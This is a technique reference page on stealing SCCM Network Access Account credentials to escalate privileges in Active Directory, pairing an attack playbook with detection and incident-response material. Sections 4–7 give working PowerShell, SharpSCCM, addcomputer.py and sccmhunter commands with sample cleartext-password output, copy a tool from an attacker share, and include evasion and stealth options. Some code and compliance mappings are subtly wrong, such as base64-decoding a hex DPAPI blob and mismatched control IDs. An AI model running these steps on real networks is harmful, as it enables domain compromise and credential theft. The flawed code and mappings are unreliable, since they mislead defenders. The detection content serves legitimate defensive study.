MCADDF

[PE-VALID-009]: SCCM NAA Privilege Escalation

Metadata

Attribute Details
Technique ID PE-VALID-009
MITRE ATT&CK v18.1 T1078.002 - Valid Accounts: Domain Accounts
Tactic Privilege Escalation
Platforms Windows AD
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2025-01-09
Affected Versions Windows Server 2016-2025, SCCM 2012 R2 - Current Branch
Patched In N/A (Design flaw; mitigated via Enhanced HTTP or PKI)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: System Center Configuration Manager (SCCM) Network Access Accounts (NAA) are legacy domain accounts designed to enable non-domain-joined devices to retrieve software and updates from distribution points during deployment. When SCCM clients are enrolled in an organization, the NAA credentials are transmitted to every managed device and stored locally in the WMI repository, encrypted with Data Protection API (DPAPI). An attacker with local administrator privileges on an SCCM-managed client can extract these credentials from the system and decrypt them to obtain cleartext domain credentials. If the NAA account is overprivileged (a common misconfiguration), this provides a pathway to escalate privileges within the domain—potentially achieving local administrator access on multiple servers, database access, or even tier-0 domain admin status through further exploitation.

Attack Surface: SCCM client machines (CCM namespace Root\CCM\Policy\Machine\actualconfig), local WMI repository (C:\Windows\System32\wbem\Repository\OBJECTS.DATA), SCCM HTTP management points (port 80/443).

Business Impact: Complete compromise of Active Directory infrastructure. Overprivileged NAA accounts frequently grant access to LAPS passwords, SCCM database admin rights, or even domain administrative privileges, enabling attackers to move laterally across the entire enterprise, deploy malicious software to thousands of endpoints, or exfiltrate sensitive data.

Technical Context: NAA extraction typically takes 2-5 minutes once local admin access is obtained. The technique generates moderate event logging (WMI access, process creation) but often escapes detection due to the legitimate nature of SCCM management processes. The attack chain is largely reversible once detected, but the underlying credential exposure persists on all historically SCCM-managed machines unless explicitly remediated.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 18.1.1.1 Ensure ‘Configuration Manager’ is set to a high standard of security and privilege separation
DISA STIG WN10-00-000001 Windows Defender must be configured with non-default settings
CISA SCuBA CA-7.1 Implement and maintain access controls and restrictions based on the principle of least privilege
NIST 800-53 AC-3 Access Enforcement – Enforce approved authorizations for logical access to resources
GDPR Art. 32(1)(b) Ensure appropriate technical measures for security of personal data processing
DORA Art. 9 Protection and Prevention – Implement effective controls against ICT incidents
NIS2 Art. 21(1)(a) Implement risk management measures for cyber risk management
ISO 27001 A.9.2.3 Management of Privileged Access Rights – Restrict and manage privileged access rights
ISO 27005 Risk Scenario Compromise of administrative credentials leading to unauthorized system access

3. TECHNICAL PREREQUISITES

Supported Versions:

Required Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

Step 1: Identify SCCM-Managed Machines in the Environment

# Check if current machine is SCCM client
Get-Service -Name ccmexec -ErrorAction SilentlyContinue
if ($?) { Write-Host "SCCM Client is installed" } else { Write-Host "No SCCM Client" }

# Alternative: Check for SCCM WMI namespace
Get-WmiObject -Namespace "root\ccm" -Query "SELECT * FROM SMS_Client" -ErrorAction SilentlyContinue

What to Look For:

Step 2: Enumerate NAA in Active Directory

# Search AD for SCCM-related accounts and groups
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(objectClass=user) -and (name=*NAA* -or name=*SCCM*)"
$results = $searcher.FindAll()
$results | Select-Object -ExpandProperty Properties | ForEach-Object { $_.name }

# Alternative: Use Get-ADUser (if AD module available)
Get-ADUser -Filter 'Name -like "*NAA*" -or Name -like "*SCCM*"' -Properties Description, MemberOf

What to Look For:

Step 3: Query SCCM Management Points via LDAP

# Find SCCM Management Points in AD
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(objectCategory=computer) -and (name=*MP*)"
$mpServers = $searcher.FindAll() | Select-Object -ExpandProperty Properties
$mpServers | ForEach-Object { Write-Host "MP Server: $($_.name)" }

What to Look For:

Linux/Bash / CLI Reconnaissance

Step 1: Network Reconnaissance for SCCM Services (from Linux pivot)

# Scan for SCCM HTTP endpoints
nmap -p 80,443,10123 --script=http-title <target-subnet>/24 2>/dev/null | grep -i SCCM

# Query DNS for SCCM management points
nslookup -type=SRV _sms_mp._tcp.dc._msdcs.<domain.com>

# Check for SCCM HTTP endpoints via HTTP fingerprinting
curl -I http://<sccm-mp>/ccm_system_windowsauth/request 2>/dev/null | head -10

What to Look For:

Step 2: Enumerate SCCM via sccmhunter (Linux)

python3 sccmhunter.py http -u "<domain>\<username>" -p "<password>" -d "<domain>" -dc-ip <dc-ip> -auto

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Extract NAA via WMI from Local SCCM Client (Requires Local Admin)

Supported Versions: Server 2016-2025, SCCM 2012 R2+

Step 1: Obtain Local Administrator Privileges

Objective: Establish local administrator context on an SCCM-managed machine.

Execution Methods:

Step 2: Extract NAA Credentials via WMI Query

Objective: Query the WMI repository to retrieve encrypted NAA credentials.

Command (All Versions):

# Run as Local Administrator (via runas or already-elevated session)
$ccmNamespace = "root\ccm\policy\machine\actualconfig"
$naaPolicies = Get-WmiObject -Namespace $ccmNamespace -Query "SELECT * FROM CCM_NetworkAccessAccount" -ErrorAction SilentlyContinue

foreach ($naa in $naaPolicies) {
    Write-Host "NAA Username: $($naa.NetworkAccessUsername)"
    Write-Host "NAA Password (Encrypted): $($naa.NetworkAccessPassword)"
    Write-Host "Scope: $($naa.ScopeID)"
}

Expected Output:

NAA Username: CONTOSO\CONTOSO_NAA
NAA Password (Encrypted): 01000000D08C9DDF011530000000000F...
Scope: SMS0001S

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Decrypt NAA Password Blob (DPAPI Decryption)

Objective: Convert encrypted DPAPI blob to cleartext password.

Command (Windows Native - PowerShell):

# Use DPAPI to decrypt the NAA password blob
$encryptedBlob = "01000000D08C9DDF011530000000000F..."  # From Step 2
$decryptedBlob = [System.Security.Cryptography.ProtectedData]::Unprotect(
    [Convert]::FromBase64String($encryptedBlob),
    $null,
    [System.Security.Cryptography.DataProtectionScope]::CurrentUser
)
$clearPassword = [System.Text.Encoding]::UTF8.GetString($decryptedBlob)
Write-Host "NAA Password (Cleartext): $clearPassword"

Expected Output:

NAA Password (Cleartext): Sup3rC0mpl3xP@ssw0rd!#2024

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 4: Validate NAA Credentials

Objective: Confirm that extracted credentials are valid and functional.

Command (PowerShell):

$naaUser = "CONTOSO\CONTOSO_NAA"
$naaPassword = "Sup3rC0mpl3xP@ssw0rd!#2024"
$securePassword = ConvertTo-SecureString -String $naaPassword -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $naaUser, $securePassword

# Test authentication against a distribution point or domain resource
try {
    Get-ADUser -Filter * -Credential $credential -ErrorAction Stop | Out-Null
    Write-Host "NAA Credentials are VALID"
} catch {
    Write-Host "NAA Credentials are INVALID or account is locked"
}

Expected Output (Valid):

NAA Credentials are VALID

What This Means:

Step 5: Assess NAA Privilege Level

Objective: Identify what privileges the NAA account possesses (local admin, domain admin, group membership, etc.).

Command (PowerShell):

# Check if NAA has local administrator rights on multiple servers
$naaUser = "CONTOSO\CONTOSO_NAA"
$naaPassword = "Sup3rC0mpl3xP@ssw0rd!#2024"
$securePassword = ConvertTo-SecureString -String $naaPassword -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential -ArgumentList $naaUser, $securePassword

# Query AD for NAA group memberships
$adUser = Get-ADUser -Identity $naaUser -Properties MemberOf -Credential $credential
$adUser.MemberOf | ForEach-Object {
    $group = Get-ADGroup -Identity $_ -Credential $credential
    Write-Host "NAA is member of: $($group.Name)"
}

# Check for domain admin membership
if ($adUser.MemberOf -like "*Domain Admins*") {
    Write-Host "**CRITICAL: NAA account is member of Domain Admins**"
}

# Check LAPS read permissions on OUs
Get-ADObject -Filter 'ObjectClass -eq "organizationalUnit"' -Properties nTSecurityDescriptor | ForEach-Object {
    $acl = Get-Acl -Path "AD:\$($_.DistinguishedName)"
    $lapsRules = $acl.Access | Where-Object { $_.IdentityReference -eq $naaUser -and $_.ActiveDirectoryRights -like "*ExtendedRight*" }
    if ($lapsRules) {
        Write-Host "NAA can read LAPS passwords in OU: $($_.Name)"
    }
}

Expected Output (Overprivileged):

NAA is member of: Tier-1 Admins
NAA is member of: Server Admins
**CRITICAL: NAA account is member of Domain Admins**
NAA can read LAPS passwords in OU: Servers

What This Means:


METHOD 2: Extract NAA via SharpSCCM (Windows Post-Exploitation Tool)

Supported Versions: Server 2016-2025, SCCM 2012 R2+

Step 1: Deploy SharpSCCM Binary

Objective: Compile or transfer the SharpSCCM tool to the target SCCM client.

Command (Compilation - on attacking machine):

# Clone SharpSCCM repository
git clone https://github.com/Mayyhem/SharpSCCM.git
cd SharpSCCM

# Compile with Visual Studio or msbuild
msbuild SharpSCCM.sln /p:Configuration=Release /p:Platform=x64

# Binary location: bin/Release/SharpSCCM.exe

Deployment (on target):

# Transfer to target via SMB, HTTP, or clipboard
# Run from temporary location (C:\Windows\Temp\)
Copy-Item -Path "\\attacker\share\SharpSCCM.exe" -Destination "C:\Windows\Temp\SharpSCCM.exe"

Step 2: Extract NAA via Disk Method

Objective: Extract NAA credentials directly from SCCM client filesystem.

Command (Target Machine - Local Admin):

C:\Windows\Temp\SharpSCCM.exe local secrets -m disk

Expected Output:

[+] Generating CCM Key from Local WMI Repository...
[*] Attempting to decrypted secrets...
[+] Found NAA:
    Username: CONTOSO\CONTOSO_NAA
    Password: Sup3rC0mpl3xP@ssw0rd!#2024

What This Means:

OpSec & Evasion:

Step 3: Extract NAA via WMI Method

Objective: Extract NAA credentials from WMI namespace (alternative to disk method).

Command (Target Machine - Local Admin):

C:\Windows\Temp\SharpSCCM.exe local secrets -m wmi

Expected Output:

[+] Querying WMI Namespace for Secrets...
[+] Found NAA:
    Username: CONTOSO\CONTOSO_NAA
    Password: Sup3rC0mpl3xP@ssw0rd!#2024
    Scope: SMS0001S

What This Means:


METHOD 3: Extract NAA via sccmsecrets.py (Linux/Cross-Platform)

Supported Versions: SCCM 2012 R2+, targeting any HTTP-accessible SCCM endpoint

Step 1: Register a New Machine Device (Device Quota Abuse)

Objective: Create a machine account using standard domain computer account quota (default: 10 devices per user).

Command (Linux - as Domain User):

# Use addcomputer.py to add a machine account
addcomputer.py -computer-name 'ATTACKER$' -computer-pass 'P@ssw0rd123!' \
  -dc-ip 10.10.10.10 'contoso.com/username:password'

# Output:
# [*] Successfully added computer account ATTACKER$ with password: P@ssw0rd123!

What This Means:

Step 2: Authenticate to SCCM Management Point

Objective: Connect to SCCM HTTP endpoint using the newly created machine account.

Command (Linux):

python3 sccmsecrets.py dpapi -u "ATTACKER$" -p "P@ssw0rd123!" \
  -d contoso.com -dc-ip 10.10.10.10 -both

# Output:
# [*] Attempting to register new device with SCCM...
# [+] Successfully retrieved policy from Management Point
# [+] Decrypted NAA:
#     Username: CONTOSO\CONTOSO_NAA
#     Password: Sup3rC0mpl3xP@ssw0rd!#2024

What This Means:

OpSec & Evasion:


METHOD 4: Extract NAA via sccmhunter (Automated, Multi-Purpose)

Supported Versions: SCCM 2012 R2+ (Current Branch)

Step 1: Automated SCCM Reconnaissance and Exploitation

Objective: Perform automated SCCM environment mapping and NAA extraction.

Command (Linux/Windows):

# Full automated enumeration and extraction
python3 sccmhunter.py http -u "contoso\username" -p "password" \
  -d contoso.com -dc-ip 10.10.10.10 -auto

# Output will include:
# [+] Management Points Found: MP1.contoso.com, MP2.contoso.com
# [+] Enhanced HTTP: No (Vulnerable to NAA extraction)
# [+] NAA Account: CONTOSO_NAA
# [+] NAA Password: Sup3rC0mpl3xP@ssw0rd!#2024
# [+] NAA Privileges: Member of Tier-1 Admins group

What This Means:

OpSec & Evasion:


6. ATTACK SIMULATION & VERIFICATION

This technique does not map to standardized Atomic Red Team tests due to its dependence on environmental SCCM configuration. However, verification can be achieved through:

  1. Test in Lab Environment:
    • Deploy SCCM with NAA enabled in a controlled environment.
    • Execute Steps 1-4 of Method 1 to confirm NAA extraction.
    • Validate that extracted credentials authenticate successfully.
  2. Blue Team Detection Verification:
    • Enable SCCM and WMI audit logging on test machines.
    • Execute NAA extraction methods.
    • Confirm that detection rules fire appropriately.

7. TOOLS & COMMANDS REFERENCE

SharpSCCM

Repository: Mayyhem/SharpSCCM

Version: 1.x (Latest commit-based versioning)

Minimum Version: 1.0

Supported Platforms: Windows (all versions with .NET Framework 4.5+)

Version-Specific Notes:

Installation:

git clone https://github.com/Mayyhem/SharpSCCM.git
cd SharpSCCM
msbuild SharpSCCM.sln /p:Configuration=Release /p:Platform=x64
# Binary: bin/Release/SharpSCCM.exe

Usage:

# Extract NAA from local machine (requires local admin)
SharpSCCM.exe local secrets -m disk
SharpSCCM.exe local secrets -m wmi

# Enumerate SCCM environment
SharpSCCM.exe get naa
SharpSCCM.exe get sites

sccmsecrets.py

Repository: synacktiv/SCCMSecrets

Version: Latest (Python-based)

Minimum Version: 1.0

Supported Platforms: Linux, macOS, Windows (with Python 3.6+)

Installation:

git clone https://github.com/synacktiv/SCCMSecrets.git
cd SCCMSecrets
pip install -r requirements.txt

Usage:

# Extract NAA via DPAPI decryption
python3 sccmsecrets.py dpapi -u "ATTACKER$" -p "Password" -d domain.com -dc-ip 10.10.10.10

# Extract NAA via policy request
python3 sccmsecrets.py http -u "domain\user" -p "password" -mp "mp.domain.com"

sccmhunter

Repository: garrettfoster13/sccmhunter

Version: Latest (Python-based)

Installation:

git clone https://github.com/garrettfoster13/sccmhunter.git
cd sccmhunter
pip install -r requirements.txt

Usage:

# Automated SCCM enumeration and NAA extraction
python3 sccmhunter.py http -u "domain\user" -p "password" -d domain.com -dc-ip 10.10.10.10 -auto

# Stealthy extraction with delays
python3 sccmhunter.py http -u "domain\user" -p "password" -d domain.com -dc-ip 10.10.10.10 -stealth -delay 30

8. MICROSOFT SENTINEL DETECTION

Query 1: Suspicious WMI Access to CCM_NetworkAccessAccount

Rule Configuration:

KQL Query:

// Detect suspicious WMI queries targeting CCM_NetworkAccessAccount
WmiEvent
| where EventType == "Query" 
    and Namespace contains "root\\ccm\\policy\\machine\\actualconfig"
    and Query contains "CCM_NetworkAccessAccount"
    and TimeGenerated > ago(24h)
| join kind=inner (
    SecurityEvent
    | where EventID == 4688
        and CommandLine contains "powershell" or CommandLine contains "wmic"
    | project ProcessName, CommandLine, TimeGenerated, Computer
) on Computer
| summarize Count = count() by Computer, ProcessName, Query, TimeGenerated
| where Count > 0

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics+ CreateScheduled query rule
  3. General Tab:
    • Name: Suspicious CCM_NetworkAccessAccount WMI Query
    • Severity: High
  4. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  5. Incident settings Tab:
    • Enable Create incidents
  6. Click Review + create

Query 2: Machine Account Creation in Computer Quota Exhaustion Pattern

Rule Configuration:

KQL Query:

// Detect rapid machine account creation (device quota abuse)
AuditLogs
| where OperationName == "Add computer"
    and Result == "Success"
    and TimeGenerated > ago(24h)
| summarize MachineCount = dcount(TargetResources), 
            FirstCreation = min(TimeGenerated),
            LastCreation = max(TimeGenerated)
            by InitiatedByUser, ResourceId
| where MachineCount >= 5  // Alert if a user creates 5+ machines in 24h
| project InitiatedByUser, MachineCount, FirstCreation, LastCreation, ResourceId

What This Detects:


9. WINDOWS EVENT LOG MONITORING

Event ID 4688: Process Creation (PowerShell / WMIC Access)

Log Source: Security

Trigger: Execution of powershell.exe, wmic.exe, or process access to wbem\Repository\OBJECTS.DATA

Filter: CommandLine contains ‘Get-WmiObject’, ‘CCM_NetworkAccessAccount’, or ‘OBJECTS.DATA’

Applies To Versions: Server 2016+

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationDetailed Tracking
  3. Enable Audit Process Creation (Success and Failure)
  4. Set to: Success and Failure
  5. Run gpupdate /force on target machines

Detection Rule (Windows Event Log):

<Rule id="NAA_Extraction_PowerShell" version="1">
  <Correlation name="CCM_NAA_Extraction" failureCount="1" timeWindow="300">
    <Event path="Security" eventID="4688">
      <Data name="CommandLine" condition="contains">Get-WmiObject</Data>
      <Data name="CommandLine" condition="contains">CCM_NetworkAccessAccount</Data>
    </Event>
  </Correlation>
</Rule>

Event ID 5857: WMI Activity (Root\CCM access)

Log Source: Microsoft-Windows-WMI-Activity/Operational

Trigger: WMI query to Root\CCM\Policy\Machine\ActualConfig

Filter: Name contains ‘CCM_NetworkAccessAccount’

Applies To Versions: Server 2016+ (requires WMI audit logging enabled)

Manual Configuration Steps (Enable WMI Audit Logging):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationObject Access
  3. Enable Audit Other Object Access Events (Success and Failure)
  4. Run gpupdate /force
  5. Restart the machine or execute: auditpol /set /subcategory:"Other Object Access Events" /success:enable /failure:enable

10. MICROSOFT DEFENDER FOR CLOUD

Alert: Suspicious WMI Query for Sensitive Data

Alert Name: Suspicious WMI activity detected

Severity: High

Description: Microsoft Defender for Servers detects WMI queries to sensitive namespaces like Root\CCM\Policy\Machine\ActualConfig, which may indicate credential harvesting attempts.

Applies To: Virtual Machines with Defender for Servers enabled

Remediation Steps:

  1. Navigate to Azure PortalMicrosoft Defender for CloudSecurity alerts
  2. Locate the alert Suspicious WMI activity detected
  3. Click on the alert to view impacted resources
  4. Immediate Actions:
    • Isolate the affected VM: Disconnect network interface
    • Collect forensic evidence (memory dump, event logs)
    • Rotate credentials for all sensitive accounts (especially NAA)
  5. Investigation:
    • Review Windows Event Log 4688 for suspicious process execution
    • Check for credential usage from compromised NAA account
    • Scan for lateral movement attempts

Manual Configuration Steps (Enable Defender for Servers):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Servers Plan 2: Recommended for enhanced detection
  5. Click Save

11. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Computer Account Creation (Device Quota Abuse)

Search-UnifiedAuditLog -Operations "Add computer" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) | 
  Select-Object @{n='User';e={$_.UserIds}}, @{n='Operation';e={$_.Operations}}, @{n='Timestamp';e={$_.CreationDate}}, @{n='Details';e={$_.AuditData}} |
  Export-Csv -Path "C:\Audit\computer_creation.csv"

Workload: Azure Active Directory

Details to Analyze:

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu) → Audit log search
  3. If not enabled, click Turn on auditing
  4. Wait 24 hours for log retention to activate
  5. To search:
    • Date range: Select start/end dates
    • Activities: Select Add computer
    • Users: Leave blank for all users
    • Click Search

12. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH


13. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:

    Command (PowerShell - Remove from network):

    # Disconnect network adapter
    Get-NetAdapter -Name "Ethernet" | Disable-NetAdapter -Confirm:$false
       
    # Alternative: Remove network permissions via IP configuration
    Remove-NetIPAddress -InterfaceAlias "Ethernet" -Confirm:$false
    

    Manual (On-Premises):

    • Physically unplug network cable from affected workstation
    • OR: Move device to isolated VLAN with no internet/domain access

    Manual (Azure):

    • Navigate to Azure PortalVirtual Machines → Select VM
    • NetworkingDisconnect network interface
  2. Collect Evidence:

    Command (PowerShell):

    # Export Security Event Log
    wevtutil epl Security "C:\Evidence\Security.evtx"
       
    # Export WMI Activity Log
    wevtutil epl "Microsoft-Windows-WMI-Activity/Operational" "C:\Evidence\WMI_Activity.evtx"
       
    # Capture memory dump (requires procdump.exe or similar)
    procdump64.exe -ma lsass.exe "C:\Evidence\lsass.dmp"
       
    # Copy WMI repository (may require restart)
    robocopy "C:\Windows\System32\wbem\Repository" "C:\Evidence\WMI_Backup" /E /R:5 /W:5
    

    Manual (Event Viewer):

    • Open Event Viewer → Select Security log
    • Right-click → Save All Events AsC:\Evidence\Security.evtx
    • Repeat for Microsoft-Windows-WMI-Activity/Operational
  3. Remediate:

    Immediate (Stop Active Attack):

    # Kill any running WMI/PowerShell processes
    Get-Process -Name "powershell" | Where-Object { $_.Handle -gt 0 } | Stop-Process -Force
    Stop-Service -Name "WinRM" -Force
    Stop-Service -Name "WmiPrvSE" -Force
       
    # Disable SCCM client temporarily
    Stop-Service -Name "ccmexec" -Force
    Set-Service -Name "ccmexec" -StartupType Disabled
    

    Secondary (Credential Compromise Response):

    # If NAA credentials were exposed:
    # 1. Immediately reset NAA password
    Set-ADAccountPassword -Identity (Get-ADUser -Filter {Name -like "*NAA*"}) `
      -NewPassword (ConvertTo-SecureString -AsPlainText "$(New-Guid)" -Force)
       
    # 2. Force re-authentication of all SCCM clients
    # (Restart ccmexec service on all clients)
       
    # 3. Clear local WMI credential store
    Remove-WmiObject -Class "CCM_NetworkAccessAccount" -Namespace "root\ccm\policy\machine\actualconfig"
    

    Tertiary (Long-Term Remediation):

    • Follow Defensive Mitigations section above to transition to Enhanced HTTP
    • Audit all resources accessed with NAA credentials in past 30 days
    • Reset passwords on all systems where NAA authenticated
  4. Notify and Escalate:

    • Alert: Incident Response Team, SOC, CISO
    • Document: Time of discovery, systems affected, credentials compromised
    • Escalate if: NAA had domain admin privileges or LAPS read access

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker gains initial user account access via phishing
2 Privilege Escalation [PE-VALID-008] SCCM Client Push Account Abuse Attacker compromises SCCM deployment account for local admin access
3 Current Step [PE-VALID-009] Extract NAA credentials from SCCM client machine
4 Privilege Escalation (Domain) [PE-VALID-004] Delegation Misconfiguration Use overprivileged NAA to escalate within domain (if NAA has constrained delegation)
5 Lateral Movement [LM-AUTH-001] Pass-the-Hash (PTH) Use NAA credentials to authenticate to servers with local admin access
6 Persistence [PE-ACCTMGMT-014] Global Administrator Backdoor Use compromised SCCM infrastructure to promote account to domain admin
7 Impact [CA-DUMP-006] NTDS.dit Extraction Extract entire domain database for credential harvesting

15. REAL-WORLD EXAMPLES

Example 1: TrueSecRec SCCM Privilege Escalation (2024)

Example 2: SpecterOps - Phantom Credentials of SCCM (2022)

Example 3: GuidePoint Security - SCCM in-the-wild Exploitation (2025)


16. COMPLIANCE & REGULATORY CONTEXT

This technique directly violates security requirements in modern compliance frameworks:

Organizations should document NAA usage and remediation timelines to regulatory bodies (EU regulators, CISA for critical infrastructure).


17. REFERENCES & AUTHORITATIVE SOURCES

  1. Microsoft: SCCM Enhanced HTTP Documentation
  2. SpecterOps: The Phantom Credentials of SCCM
  3. GuidePoint Security: SCCM Exploitation
  4. Synacktiv: SCCMSecrets.py - SCCM Policy Exploitation
  5. Palo Alto Networks: SCCM Enterprise Backbone or Attack Vector
  6. Mayyhem: SharpSCCM GitHub Repository
  7. TrueSecRec: SCCM Tier Killer
  8. The Hacker Recipes: SCCM Privilege Escalation
  9. SnapAttack: Detection Engineer’s Guide to SCCM Misconfiguration Abuse
  10. MITRE ATT&CK: T1078.002 Valid Accounts - Domain Accounts